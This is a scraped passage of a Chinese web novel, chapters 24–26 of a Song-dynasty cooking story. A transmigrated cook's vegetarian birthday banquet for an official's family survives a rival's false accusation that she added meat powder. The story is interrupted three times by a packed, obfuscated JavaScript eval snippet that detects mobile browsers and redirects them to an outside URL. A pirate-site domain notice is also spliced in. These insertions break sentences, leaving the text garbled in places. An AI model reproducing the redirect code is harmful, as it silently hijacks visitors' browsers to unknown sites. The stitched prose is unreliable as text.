陶夫人打眼一瞧,这都是精心烹饪的大菜,显然是用了心思。 除此之外,红焖蹄筋炖煮入锅后就不用多管,小茴香爆羊肉爆炒很快,鱼圆容易熟,不会耗费太久功夫,也不会耽误正事。 要是叶盏拍马屁耗费功夫做饭菜给自己吃,把精力都投入今日反而耽误了明日的正事,那陶夫人肯定不会喜欢叶盏,觉得她只会拍马屁。 像现在这样就很好, 既能表达感谢之情又不是一味逢迎,陶夫人觉得叶盏很不错。 秋心也在旁边说叶家人好话:“叶家虽然做了肉菜,但自己一口没吃,跟厨房里仆从一起吃的大锅菜。” 为人谨慎本分,陶夫人点点头,叫秋心给叶家母女三人额外送去一百文的喜钱:“诸位明天也要辛苦,先沾沾我们家老太太的长寿意头。” 随后等丈夫来才开始品尝今日的菜肴。 陶编修看见桌面倒是眼前一亮:“好别致的菜色。” 一对儿女也拍手:“今日有好饭食!” 陶大夫人不由得好笑,她掌家以来为做表率,将家中预算裁减了不少,自然便也简单,每日里不过是两餐。 再加上老夫人茹素,二夫人见到府里上的菜肴里有肉菜第二天必然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12836410|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在老夫人跟前上眼药,说“娘都在吃素,我们这些做儿女的吃肉,哪里安心得了。” 来回几次就让老夫人心里不舒服起来。她茹素虽然是自愿,但看着儿媳妇大鱼大肉享受自己吃素总觉得让晚辈占了便宜。 时日多了,大夫人便也吩咐厨房,少见荤腥,除了给孩子们的饭食照旧,她和老爷基本不怎么吃肉。 这样才让老夫人满意。 因此大夫人慈爱指着盘子的菜道:“沾了老夫人的光,为她整治寿宴的厨娘孝敬过来的。” 陶编修给妻子夹了一筷子,自己才迫不及待夹起一块蹄筋放进嘴里。 红焖蹄筋肯定经过了长时间的炖煮,所以蹄筋软烂,糯糯的,软软的,外延的几乎入口就化,但内里还有嚼劲。 原本雪白的蹄筋经过炖煮后变成了酱红色,沾染了红烧汁,呈现半透明的胶状。 吃进嘴里后胶状物黏住了舌头,让人新奇又有一种被肉香包围的满足感。 蹄筋上带着的红焖酱浓厚一层,几乎成固体了,吃进嘴里很是香厚,肥厚软烂中带着浓郁的香气,很是下饭。 陶家小少爷很喜欢那道小茴香爆羊肉。 这道菜是羊肉切成厚片后用葱姜蒜花椒等调料拌匀腌制,再放入猪油锅里加小茴香爆炒。 这是叶盏去山西时学到的一道本地菜,羊肉价格昂贵,她来大宋之后一直没机会做,这回看见陶家有,自然拿来练手。 一咀嚼,羊肉上沾着的小茴香和孜然颗纷纷在嘴里咬烂,迸发出浓郁的烧烤香气,小茴香的浓郁滋味裹着羊肉,滋味层次不穷,扎实的羊肉满带香味。 小少爷痛痛快快吃完,顿觉胸怀中豪气十足,学着学堂里夫子的样子喊道:“当浮一大白!” 惹得家里人大笑。 陶夫人偏爱双色橘瓣鱼圆 这道菜是湖北菜,青鱼肉刮取鱼茸分一半,一半和蛋清搅打变白色,一半加蛋黄变成橘子色。之后用手捏成橘瓣模样入锅煮开,最后浇灌上鸡汤便是。 吃起来清淡爽口,突出一个“鲜”字。 双色的鱼圆看着就让人赏心悦目,胃口大开。 吃进嘴里后鱼丸居然很是弹牙几乎在牙齿间弹了几弹,筋道的口感很是让人咀嚼起来上瘾。 鱼丸外面沾染的鸡汤在这时起到画龙点睛的作用,鲜美中带着清爽,鱼丸本身也鲜美无比,丝毫没有半点腥味,几口下去无比落胃,好吃又满足。 陶编修觉察到夫人爱吃,特意拿调羹舀了个白白胖胖的鱼丸放到夫人碗里,想了想,又舀了个橘色的鱼圆:“好事成双嘛。” 25. 第 25 章 陶编修惭愧:“夫人受累了。” 这番折腾他也听说了,心底很是埋怨老夫人。 年轻时他屡试不中,自然已经见识过亲娘残忍的一面,早就对亲娘只有礼法上的周到而没有心理上的亲近。 老夫人对有血缘的儿子尚且如此,对没有血缘的儿媳妇就更加只有磋磨的份了。 亲娘用朝堂上的话来说就是偏听则暗的昏聩性子,这回本来说定做寿交给大房,谁知听了二夫人撺掇又说要两房打擂台。 还好大房聘来的厨娘争气赢了高大厨,否则大夫人以后在府里如何行事? 下面奴仆见大房说过的话不顶用,以后大房使唤得动谁? 陶夫人轻轻摇摇头:“孩子们在这里呢。” 陶编修更加惭愧,陶夫人平日里绝不在儿女跟前说长辈不是,行为举止当得起端方。 对比之下更显得老夫人小家做派。 他也想忤逆母亲,可是孝顺两字大过天,惹得老夫人不顺意,她只要去府门口哭一场儿子不孝,儿子罢官革职也就罢了,还要锒铛入狱,轻则流放重则砍头。 宋律里有云,“依本犯除名并配流。”连夫人都要跟着被处死。 想到这里,陶编修只有无奈叹口气:“若是能谋求个外放就好了。” 等下个考核期有机会,他一定要带妻儿离开老夫人。 * 第二天一早叶家人早早就起身,叶盏不慌不忙,仔细将碎发梳起,系上围裙就去了灶房。 灶房里陶家的帮厨们经过两次的磨合对叶盏言听计从:“您有什么要吩咐的,尽管吩咐。” 叶盏也不客气,烧火的烧火,洗菜的洗菜,一一分派下去。 她烹饪功底扎实,光是油就分好几种,苍耳油、苋菜籽油、紫苏油、红蓝花子油、蔓箐子油分别适合哪种菜肴,一口气不重复吩咐下去,灶房里无人敢驳回。 客人们渐渐到齐,来的二十桌宾客除了陶家亲朋还有老夫人在庙里认识的一些夫人。 寒暄之后陶大夫人便引她们上座,摆上时鲜瓜果和茶水,除了戏班子唱戏,中间穿插着杂耍班子里也一一上台,有猴百戏、鱼跳刀门,还有使唤蜂蝶,惹得宾客们看得目不转睛,纷纷称赞陶大夫人布置得当。 陶二夫人嗑着瓜子歪了腰倚靠交椅,一脸不忿。 她还就不信了,一名区区市井厨娘能整出什么花来?! 正想着就听有仆从拍手唱菜名:“看盘——上——” 二夫人嗤了一声,汴京城宴客要请四司六局整套班子,老大舍不得钱,居然请了自家仆从唱菜名。 她这么挑剔,却也没想过如此花销家里是否承担得起。 宾客们看得目不转睛: 最大一个盘子大约有桌子那么大。 居然是一副画! 仔细端详才发现是由十几张瓷盘拼接而成,每个盘子里摆着水果雕刻成的拼盘,拼成了一副雕塑。 果雕是厨师们比拼的技艺之一,叶盏能过五关斩六将从众多候选者中当上五星级酒店的行政总厨,这些功夫都还在,因此先做个体面大方的果雕先声夺人。 仆从唱菜名:“祝寿图!” 这祝寿图远处是套瓜切面模仿的大海,海面上五只榅桲雕刻成的蝙蝠飞翔,这取得应当是福如东海的意思; 近景是鹅梨和林檎拼接的山,山上查子做成的松柏常青,取得是寿比南山。 松柏绵延,松柏下脆李子雕的仙鹤飞翔,树下嘉庆子雕刻的福禄寿三星,寿星翁手提一篮仙桃。 周围则是一圈小寿桃。 宾客们齐齐走到桌边围观。城里有果雕,可能刻得这么大这么栩栩如生,却还是头一遭见到。纷纷赞叹个不停:“真是见过了世面。” 陶老夫人顿觉面上有光。 她年纪大了最爱排场,如今这果雕看盘就是满汴京城都少见,很是体面。 一时对大夫人面色都好了许多,在人前夸:“这是我大儿媳张罗的。” 宾客们便恭维大夫人孝顺又能干,请来的厨娘全城头一份,是老夫人有福气。 老夫人挺直腰背面上舒坦,二夫人却在心里嘀咕骂:“好个偏心婆婆。” 上了看盘之后便上糕饼,有菠菜果子馒头和杂色花煎馒头这样带馅的,还有芙蓉饼、金花饼这样将花朵揉进面团的,让人眼花缭乱。 正餐更是大开眼界。 满山香炒油菜,混合了小茴香、生姜粉、芥末籽、莳萝籽磨成的粉末调料,明明是个素菜,但麻辣鲜香,一口辣的人涕泪直下,可是吃完后却觉得胃口大开。 山药泥混合红曲粉做成的粉色桃花,一瓣一枝开满整盘,赏心悦目。 茭白和鹅膏簞切丝细炒,加上科头细粉和擀面皮一起凉拌,炒锅的烟火气搭配凉拌的清爽感,意外迸发出不同的精彩。 居然还上了一只整鸭。 二夫人刚要出声质问,却见眼尖的宾客惊呼:“是素鸭子。” 这素鸭子是用豆浆大油皮炸制后包裹香菇玉兰片做成鸭子形状,菜名叫做“香酥鸭子”。 吃一口,外面的油皮吸满油脂,肥香满口,与鸭子也没什么区别。 内里的“鸭肉馅”则混合了香菇玉兰片香味,皮酥柔嫩,咸香满口。 除了有鸭还有鸡。 三丝馅料用小油皮封口,也不知道厨娘用了什么技艺做成了鸡块状,经过煸炒挂糊,甚至还加了油炸茄柄模仿鸡骨头,看上去外观和鸡块差不多。 吃起来鲜嫩多汁的鸡块,浓郁汤汁醇厚鲜美,外面一层黄焖芡汁肥厚,咸香可口。 真的好下米饭,放进碗里,油水汪汪的鸡汤立刻浸透了碗里粒粒分明的白米饭,挖一勺米饭混合鸡块,简直是鲜嫩肥美。 再吃一口! 有人笑:“这技术可别被酒楼老板学了去,要不在真鸡鸭里加假鸡鸭,岂不是暴利?” “那可不划算。”另一位宾客开口,“这里头功夫就不少,城里会这个的厨子做一道菜下来肯定比鸡鸭贵。” 宾客们纷纷点头赞同,她们都是富贵人家,当然懂这里面的门道,今日寿宴上素菜贵的不是原材料,而是工费。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12844673|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 相熟的一位裴老夫人恭维陶老夫人:“还是你有福气。难为费尽周折做了这么一道素宴,让我们出去也能谈个好几天。” 她一开始听说陶家办素菜寿宴心里还不满呢:办席面没有大鱼大肉,怎么这么抠门? 大家人情往来讲究差不多,你来我家我席面十两银子一桌,我去你家席面一两银子,这合适吗? 可今天来陶家却大开眼界,种种素菜虽然食材都是纯素,但烹饪技艺没得说,口感也是好多肉菜的口感。 估摸算下来成本比做肉菜还要贵呢! 因此对陶家大为改观。 像裴老夫人这么想的宾客不在少数,因此大家纷纷点头应和。 陶老夫人颇为有面子,脸上容光焕发,声音都大了几分。 大夫人也暗暗松了口气:婆婆说要积善行德办素宴,愁得她好几晚没睡好,就怕被相熟人家笑话是吝啬抠门。 没想到这位厨娘技艺了得,办了这一场素宴。 陶老夫人高兴之余便多说了两句:“为了这场宴席办得好,还特意请了麟香荟和一位厨娘比拼,选了其中优胜者才做的,都是我大儿媳张罗得好。” 一句话倒把纠纷说成是大夫人行事周密。 宾客们点头感慨:“还是大夫人行事周到,持家有道。”还有人打听大房儿女婚配事,似乎有意结亲。 大夫人忍俊不禁,起身做谦虚状。 二夫人气得牙根痒痒:明明比拼的点子是她出的!麟香荟也是她请的!倒都变成了大嫂的功劳? 明明是两房打擂台,倒成了大嫂行事周到货比三家? 可当众又不好说话,只好气鼓鼓坐在椅子上,冷眼看周围热闹。 却说宓凤娘,眼看着菜已上齐不需要帮忙,便立即端着最后一盘菜去主桌端菜, 她不是陶家奴仆,陶老夫人看她眼生问了两句,宓凤娘笑称:“是厨娘母亲端盘帮忙,想来沾沾老封君的福气。” 陶老夫人高兴,便叫人在旁边桌添了凳子:“来人都是客,怎么能让客人帮忙。”她过生日当然是越热闹越好。 宓凤娘拉着叶璃坐下,对着满桌菜肴大快朵颐。 等吃完后又端着茶水去老太太身边凑趣。 一个叶璃跟着师傅走街串巷,做的便是富贵老太太们的生意,因此口才极好, 什么吴道子帮龙得了善报所以画龙技艺大涨,什么放生鲤鱼多年后被水匪打劫反被鲤鱼所救,都是民间惩恶扬善的故事,深得老太太们欢心。 一个宓凤娘嘴上抹了蜜,围着老夫人恭维,左一个“积善人家的老太太”,右一个“老寿星明年做封君”, 两人一左一右,让她老人家乐得合不拢嘴。 不多时宓凤娘就得了一条五色线做成的百事吉结子,叶璃得了一把红绳穿着的寿字铜钱,还得了承诺一会散席能拿些寿馒头寿碗走。 宓凤娘正呲牙乐呵,就见有个婆子神色匆匆走到二夫人身边,面色沉重跟她耳语片刻,随后二夫人将瓜子皮抖落到桌上,起身冷冷道:“娘,我要告发那个厨娘。” 第 26 章 猪蹄肉酢、各色兜... 众目睽睽之下二儿媳居然大声说话,不知道的还以为是砸场子来了,陶老夫人很不满意。 她固然喜欢这个儿媳妇,可更爱重自己的颜面,因此微微蹙眉,收敛了笑容:“老二家的,何事聒噪?” 二夫人从袖子里掏出一个陶瓷小瓶:“娘,不是我生事,实在是此事事关重大。” “这厨娘居然私自在菜肴中加入肉粉,破了婆母吃素的戒律。”说罢便当众大咧咧将瓷瓶交了上去。 她才不怕丢人呢,商户人家交往只看重利益,难道觉得陶家治家不严就会拒绝陶家高于市场价的生意订单? 要说在乎颜面也只有往来的官员,可那与她又有什么干系?反正大房出面交际也不会带上她,自家相公也不指望做官,要官场好名声还不是替大房做嫁衣裳? 老夫人将瓷盖拔开,皱着眉从瓷瓶中倒出些粉末,嗅了嗅,的确一股异香。 她面色变得沉重。 居然含有肉粉?有部分宾客们纷纷大惊。 回想又觉得有道理:那菜肴滋味浓郁,恐怕不简单。 有好事者还开口说起城里的传闻逸事:“从前有家素菜店生意甚好,每日里客人川流不息,结果被人发现掌柜的用猪油炒菜,怪不得香呢,后来那掌柜的被人打断了半条腿。” 其他人也就罢了,与陶老夫人交好的一批老夫人可都是吃素的,怎么能在陶家破例? 诸人都竖起耳朵,关注着这件事动态。 眼看无法糊弄过去,陶老太太越发不悦。 “老夫人,我跟前阿萍亲眼看见那厨娘举着瓷瓶往锅里倒。她觉得蹊跷就随手拿了瓷瓶,打开一闻不对劲,尝了尝是肉香,不敢隐瞒,才报了上来。”二夫人委委屈屈。 “老二家的,这话不能乱说,你可确定?”陶老夫人素来慈祥和蔼,此时却铁青着脸。 “当然确定。”二夫人点点头,“昨夜里我丫鬟去厨房传菜,闻见好浓的肉香,灶房里说是厨娘在做肉羹,您想想,她既然做素宴,要肉有何用?” 陶老夫人便倒了些粉末到盘子里几分,分给周围能吃肉的人:“诸位尝尝,这可是肉?” 宾客们舌尖触及一股浓香,吃起来颗粒感也有点像肉,顿时神色郑重:“还真是肉味。” 二夫人得意起来:“怪不得大家都说那素宴吃着香呢有肉味能不香吗?” 最好是让大夫人一蹶不振好让她重新夺回管家权。 旁听的宾客们一时慌了神有位佛前发愿要终身吃素的老太太还晕了过去。 场面一时极为混乱。 老夫人开口:“就叫厨娘上来问话。” 叶盏正在灶房门口树下休憩呢干了半天她腿酸胳膊痛连举筷子的力气都没有了。 玉姐儿还在憧憬:“不知这回能得多少赏钱?” 就在这当口一个凶神恶煞的婆子进了院门:“兀那厨娘你随我走一趟!” 她气势汹汹恨不得上来推搡叶盏把院里其余人唬了一跳。 玉姐儿挺身挡在妹妹前面:“你这人怎的这么不知礼数?” “哼?礼数?”那婆子冷笑“你就等着见官吧!” 玉姐儿不明就里一听说见官还当酒席吃死了人当即吓得手都要抖起来了。 叶盏却镇定自若:“莫怕身正不怕影子斜便是去了官府还有击鼓鸣冤的机会呢。”她记得这婆子是二夫人身边人想必又是两房争斗。 她跟婆子就往外院走玉姐儿虽然害怕可拔腿就跟在了后面:“还有我若是犯下事来我也有份!” 待到了宴席上叶盏见老夫人脸色铁青举着瓷瓶二夫人得意洋洋大夫人面露担心她一下就明白了来龙去脉。 “厨娘这瓷瓶是你的吗?”二夫人质问。 “正是。”叶盏点点头。瓷瓶的确是她做菜的辅料厨房里鱼龙混杂传菜时进来好几个婆子丫鬟想必就是那时被人趁乱偷了调料去。 “你这厨娘 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节)在素宴里加了肉粉什么黑心钱都要赚不成?”二夫人先开口“如今人证俱在你还有什么话要说?” 说罢便招呼左右婆子:“还不快赏她一顿耳光?” “谁敢?”大夫人开口。 她神色严厉一下就让几个蠢蠢欲动的婆子不敢再上前来。 “弟妹稍安勿躁先问问事情由头如若不是别冤枉了人家。”大夫人维护叶盏“退一万步就算她犯了错还有官府律法呢哪里轮得上我们严刑拷打?” 她对叶盏颇有好感 ,就算她是一时糊涂做错了事,也不忍心任由二夫人斥责一个小姑娘。 宓凤娘在旁边慌得一个劲从椅子上往下滑,她哪里想到还有这种事呢?傻女儿啊傻女儿,你这用肉粉提味难道不应当藏严实些么? 她是已经认定了叶盏偷用肉粉,越发觉得口中发苦:这得罪了平头百姓叶家人还能托关系说情,得罪了当官的那可如何是好? 各种恐怖的猜想在她脑海里萦绕,吓得她大汗淋漓,一时脑子里乱糟糟,又盘算着给女儿顶罪又盘算着带女儿躲回老家避避风头。 叶璃却胆子大,脆生生开口:“老夫人,总要给我姐姐辩解的机会。” 旁边一位裴老夫人也开口:“且听听她怎么辩解。” 陶老夫人微微愠怒,到底还是点点头。 叶盏便笑道:“这是我的瓷瓶不假,可里面却不失肉粉,而是素粉。” 素粉?二夫人冷笑一声:“那么香,怎会是素的?” “正是全素。”叶盏不慌不忙,“内里有干蒜、花椒、白芷等十几种香料研磨成粉,还有松茸、香菇、蒌蒿干、海带、木耳、地衣等配菜,一起晒干研磨成粉,取的是其鲜美之意。全部都是素菜,没有任何荤腥。” “如若不信,叫厨房拿来材料,我当众研磨便是。” 一听是纯素的,几位赴宴的老夫人面色稍缓。 峰回路转,宓凤娘喜出望外:“老夫人,您不能任由旁人给我女儿扣屎盆子啊。” 老夫人便点点头。 叶盏便叫玉姐儿取来石钵石捣子,自己当众捣碎各色调料。 她玉手芊芊,颇有章法,不慌不忙捧着石捣往石钵里砸。 旁边的宾客们便不由自主信她几分:看这熟练程度不像是现编的谎言。 二夫人却冷眼瞧着:她还不信了,这小小厨娘能有什么本事? 玉姐儿看着妹妹镇定,自己也平息下来悸动的心情,跟着在旁打下手,一边庆幸还好陶家有这些材料,不然一时半会去哪里伸冤? 不多功夫叶盏便研磨出了粉末:“诸位请尝尝,这滋味与刚才那份可有区别?” 诸人一尝,还真是那个味道:“是,不差。” 如此一来就不能冤枉人家。 宓凤娘这下得意了 :“总不能我女儿能把素菜做出肉菜滋味,就污蔑她作弊吧?” 她嗓门老大,故意一个劲看二夫人,要的就是给她没脸。 玉姐儿也跟着开口:“若是没见识过精妙厨艺就多去大酒楼里走走看看,免得狗眼看人低。” 哼,她可不怕得罪人! “那肉汤又不会凭空消失?”二夫人仍不放弃泼污水的机会,“难道是你在灶房偷吃?” “我见着府里千金生得冰雪可爱,与我妹妹同龄,问过厨房管事后随手做了两道菜给她送去,其中便有肉汤,这有什么不可?”叶盏掷地有声,“灶房的仆从还有传菜丫鬟婆子都可作证,我并没有偷吃半点。” “拿了一顿饭的报酬还帮忙再做一道菜赠予府上,这厨娘做事厚道,不能凭空污蔑她,倒平白让好人寒了心。”一直在边上观察的裴老夫人忽然开口,“陶老夫人,您说是不是这个理?” 陶老夫人自然只有点头的份。 要说这厨娘最大的越矩之处就是多做了一遭菜式,可那是人家有意赠送。 再说人家又不是陶府人,纯粹就是感念主人家恩情,既不算贿赂又不算投毒,你要怎么定罪? 眼看着水落石出,一场闹剧就此落幕,陶老夫人挥挥手:“也罢,叫人拿赏钱来赏这厨娘,也算是弥补人家在我家里得了无妄之灾。” “慢着。”大夫人忽然开口,“可弟妹还没跟人家厨娘道歉呢。” 有几位夫人倒露出意外的神情,仔细打量了大夫人几眼。 陶家在寿宴上公然闹出这种事来,她们原本觉得大夫人治家不严呢,如今看她做事周全进退有据,还能给身份低下的厨娘主持公道,瞬间对她改观: 原来是个清楚明白人,只是为糟心家人所累罢了。 想想她还是读书人家出身,毕竟书香门第与众不同,原先交往还只因为丈夫的同僚情跟陶家面上情,今日看来这陶家大夫人倒值得深交。 陶大夫人没想到因为自己主持公道这一出,让她之后多了好些宴饮帖子,多交了几个朋友。 宓凤娘听说有赏钱可以拿,正眉开眼笑呢,听大夫人这么一说立刻清醒:“是啊,我女儿不能红口白牙就让人白污蔑了。” “区区下九流。”二夫人瞥了一眼宓凤 娘身上的媒婆服侍很是不屑“哪里值当我赔罪?”陶家可是官宦门庭呢!这时候她又跟大房是一家了。 这话说得极为跋扈嚣张惹得在座几位夫人皱皱眉。 宓凤娘原本的笑意一下收敛眉头也渐渐拧起来。 这是要大怒的前兆。 恰巧此时那位裴老夫人再次开口:“你这称呼不对我朝律法从明面上废止了下九流是以你不能这么叫人家。” 虽然民间还是会有各种歧视但律法和户籍上都没有贱民的分类。 在座的夫人们有那消息灵通者忽得想起裴家据说有位老祖宗就出自下九流因着给开国皇帝当马前卒才改换了门庭。 怪不得当众主持公道呢。 陶老夫人赔笑:“裴老夫人诸位我治家不严倒让诸位看笑话了。”又狠狠瞪二儿媳一眼:“赔罪。” 裴家可是她好容易才搭上的贵客哪里能容得被二儿媳扫了面子? 二儿媳再不情愿也只能弯腰她心不甘情不愿草草作了揖含含糊糊用几乎没人听见的声音说了句:“是我不对。” 叶盏点点头算是受了她的礼。 大夫人便适当打岔振作精神笑道:“今日我家请了杂耍班子据说会猴子捧寿桃诸位可要见识一二。” 穿着彩衣的猴子瞧着小皮鼓上场另一只猴手里捧着寿桃满场转惹得宾客们大笑 叶家人也趁机告退。 等出了花厅却被秋心叫住:“叶娘子请随我来。” 原来是大夫人也偷偷从外面退场在灶房旁边一处小楼等她。 秋心送上一托盘红布盖着的托盘叶盏揭开托盘就见一盘子里面五贯钱。 叶盏连连摆手:“说好了五贯已经给了我一贯定钱我再收四贯便是。” 宓凤娘痛苦闭上了眼睛:我的儿说不定是人家弄错了你就不能当没看见吗? “多出来的一贯一是谢你二是赔个不是。”大夫人神色和煦“你安心收着便是。” “二十桌宴席我们要请外面的大厨做的话原料花二十两银子做菜工费五两银子。可请了你之后原料是五两银子花费是五两还得谢谢你替富商节省了十五两银子呢。”秋 心在旁边笑眯眯补充。 “原料便宜是因着都是素菜。叶盏不好意思拿钱。 “可没有你的手艺,这素菜也做不出这般惊艳的效果。大夫人笑如春风,“回头我家有这样宴席还得寻你。 她很满意,这场宴席既让人看到自己的才干,又让亲友看到了二房的胡搅蛮缠,以后分家时也能多得些族里的亲戚帮忙。 “再说以后还要劳动你多用心,我家老太太每月十五都要往寺庙里送斋菜供奉僧众,以前都去外面订,以后从你这里订,这钱也不是白拿的。秋心从旁开口。 既然这么说,叶盏便道了个谢,拿下了银子。 宓凤娘为女儿有生意而高兴,立刻问大夫人:“不知这每月十五的斋菜是如何算钱? “一共是两桌,一月五十文工费,食材是我家买好送来。如何?大夫人问。 五十文做两桌菜,价格不算高,但胜在是长期生意,叶盏点头:“多谢大夫人抬举。 大夫人仍旧很客气:“今日里灶间锅里没上桌的菜肴我叫秋心也给你们打包一份,你们莫要嫌弃,也算是沾沾我家的喜气。 厨房里做菜肯定要有富余,这多出来的菜都在大锅里没有人碰过,干净卫生,不算剩菜。 玉姐儿眼前一亮。 妹妹亲自做的菜!刚才她帮厨的时候看着馋死了! 水灵灵的小黄瓜削去外皮包裹金针菇胡萝卜丝做成的翠盏如意,清爽的瓠瓜加红焖料做成的浓油赤酱“清蒸鸭子,米黄色的桂花酱浇灌厚厚一层的桂花米糕。 样样都好看又好闻。 看得她口水咽了又咽,却也知道自己家做太奢侈。 却没想到转眼就能打包回家。 顿时自告奋勇:“我去帮忙打包。她决定每样都打包些。 宓凤娘看家里得了这意外好处,高兴得什么似得,口口声声道:“回头我给长公主点长明灯时,给您也添一副。 叶盏哭笑不得,明明是萍水相逢,却被她说得多亲近一般。 大夫人听得好奇,宓凤娘又将自己结识长公主的来龙去脉说出,叫大夫人对叶家人更多几分郑重。 叶盏摇头,赶紧告辞:“既然夫人今天忙,我们便不打扰了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017103|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大 夫人也的确忙,要盯着宴会的流程,还要安抚客人,更有那位晕过去的老夫人,还要为她请医送药护送回府,便不再客气,于是叶家人便道了个万福告退。 都走出花厅了,叶盏犹豫还是回去:“大夫人,我……有话……要说。 “?还有何事?大夫人抬头。 “二夫人多次挑衅您,您莫要被牵着鼻子走,这样很容易陷入被动。不如先出手给她找些事,让她迫于奔命无暇顾及您才好。叶盏犹豫了再三,还是鼓起勇气开口。 先前她对陶家家事旁观是因为不明情况不能冒然干涉他人因果。 可大夫人好心维护她,还当众给她主持公道,叶盏便忍不住想帮她一回。 大夫人一贯冷静的脸上罕见露出了惊讶、愕然等多种情绪。 “您要是嫌我多嘴,就当是我失言。叶盏也不意外,“我告退了。 她转身欲走,一边心里嘲笑自己,怎么会这么天真鲁莽呢?难道是穿越后有了家人的爱,自己又从体面冷漠的大人变回小孩了吗? “等等。 却不想被大夫人叫住。 叶盏回头,却见大夫人苦笑:“多谢你这孩子。 不知为什么,她看着叶盏那张朝气蓬勃又充满关切的脸,既没有觉得叶盏多管闲事,也没觉得叶盏说话唐突。 那张脸让大夫人想起自己的少女时代,也是这样鲁莽冲动,这样一往无前,正义感十足,听说三叔打了三嫂后居然当即气冲冲到三房质问三叔。 三嫂矢口否认,和三叔和好如初,她也被家里长辈狠狠教训了一顿,还被禁足,罚抄《女诫》。 这样的事多了,她便变成了现在这个周到妥帖的贵妇人, 堪称女子表率,只不过她觉得自己越来越像祠堂里挂着的画了,没有血肉也没有朝气。 大夫人这回待叶盏的态度就更加亲切:“想必你也看出来,老夫人……更喜欢……二房,这法子恐怕不可行。 虽然说得很委婉,但即使这样对她这种循规蹈矩的淑女来说已经算是惊天骇俗之语了。 “我倒觉得老夫人没有偏向谁。叶盏开口,“我听秋心说老夫人在试菜时当众训斥二夫人下了她颜面,可见老夫人并不是一味向着二夫人。 大夫人一愣,似乎在消化这句话。 她从未想过这件事还能用这样的角度去分析。 “她老人家并不是偏心,而是谁对她有利她就更喜欢谁。反正交了底,叶盏就索性说得更直白些。 今日寿宴上那个鱼跳龙门的杂耍表演就很有问题,说是龙门,其实是刀扎成的刀门,杂耍艺人训练鲤鱼能听从口哨跳过尖刀造就的龙门。也不知训练过程中死了伤了多少鲤鱼。 从这件小事叶盏就看出来了老夫人的品格:既然口称向善,为何忍心要鲤鱼从刀尖跳过? 只不过是精致的利己主义者罢了。 大夫人恍然大悟,她回想起陶老夫人行事: 原先大房科举多年不中,陶老夫人眼看着要依仗二儿子养老,自然抬举二房; 如今大房得官改换门庭,陶老夫人自然要向着大房。 这么看来,她老人家的确不是民间常见的偏心老人,而是凡事以利益为第一导向。 “您以后与老夫人相处与其一味贤惠顺从,不如以利益打动她。 叶盏说话直来直去,却让陶夫人觉得很悦耳。 她有许久未与人进行这样直白的对话了。 “好比您这回请厨娘,就跟老夫人说是担心她吃腻了外面酒楼给换换口味,要裁撤用度就说是给陶家攒更多银钱。 “不管您的出发点是什么,都要把话说得极其圆滑,绕到老夫人贴身利益上去,这样才能说到老夫人心坎里去。 大夫人慢慢品味着这番话,咀嚼良久,才笑道:“受教了。 “不敢。叶盏忙避开她的礼。 “从前待字闺中时没有人跟我讲过这些立身处世上的微妙玄通之处。大夫人看着外面的晴空,似乎陷入了回忆,“这把年纪倒人事不通,你莫要笑我才好。 她生母早逝,父亲和女夫子教导的都是书本上的教条,从没有人跟她讲过人情世故。 “一样米养百样人,夫人这样有自己的好处。叶盏安慰她两句,见说完话也不留恋,告辞回家。 这番谈话显然让陶大夫人很有感触。 当天稍晚些,她百忙中还打发小厮来叶家送了一回礼,有本来说好的寿碗,还有二十个寿桃,一小袋铜钱,并她们住过房里 的用具。 叶大富打量着那些竹夫人、烘篮、竹篦子等物,连上手摸都不敢摸,生怕自己脏手弄脏:“没想到富贵人家就算是寻常摆设都这么讲究。” 六贯钱,还有寿碗八对,寿筷八双,并铜钱结子,宓凤娘抄起算盘就开始算账;“这回去陶家一共赚了八两银子。要是算上我们四个的饭和送来的吃食,那便又是五十文。再加上各色器皿,一共是十两银子。” 叶大富笑得褶子都起来了:“盏儿这般能干,出去一回倒赚了这许多。” 他摆摊风吹日晒一个月都赚不了这么多钱呢,女儿出去两天就赚了回来。 金哥儿听说妹妹被人污蔑,气得要找自己结拜兄弟们打听二夫人的来头,被叶盏赶紧拦住:“她也当众给我道了歉,何况她家又是官户又是商人,惹到她没好处。” 宓凤娘点点头:“她家赔了钱,也算便宜他们了。” 又算起账:“城里都说女儿家做厨娘吃穿不愁,我原先还不信,现在看来真是盆满钵满。” 这还没完,等叶盏回家,陆续又有几家小厮上门,口称是当日寿宴上赴宴的人家。 说是吃着叶盏的手艺好,跟陶夫人打听了叶盏的收费,想着自己家摆宴席预定叶盏过去做大厨。 一连来了四五家,光是定金就收了五贯钱。 宓凤娘把几串铜钱翻过来覆过去得数,怎么也数不够:“二姐儿真能干,回头让老小也跟着她去学厨娘。” 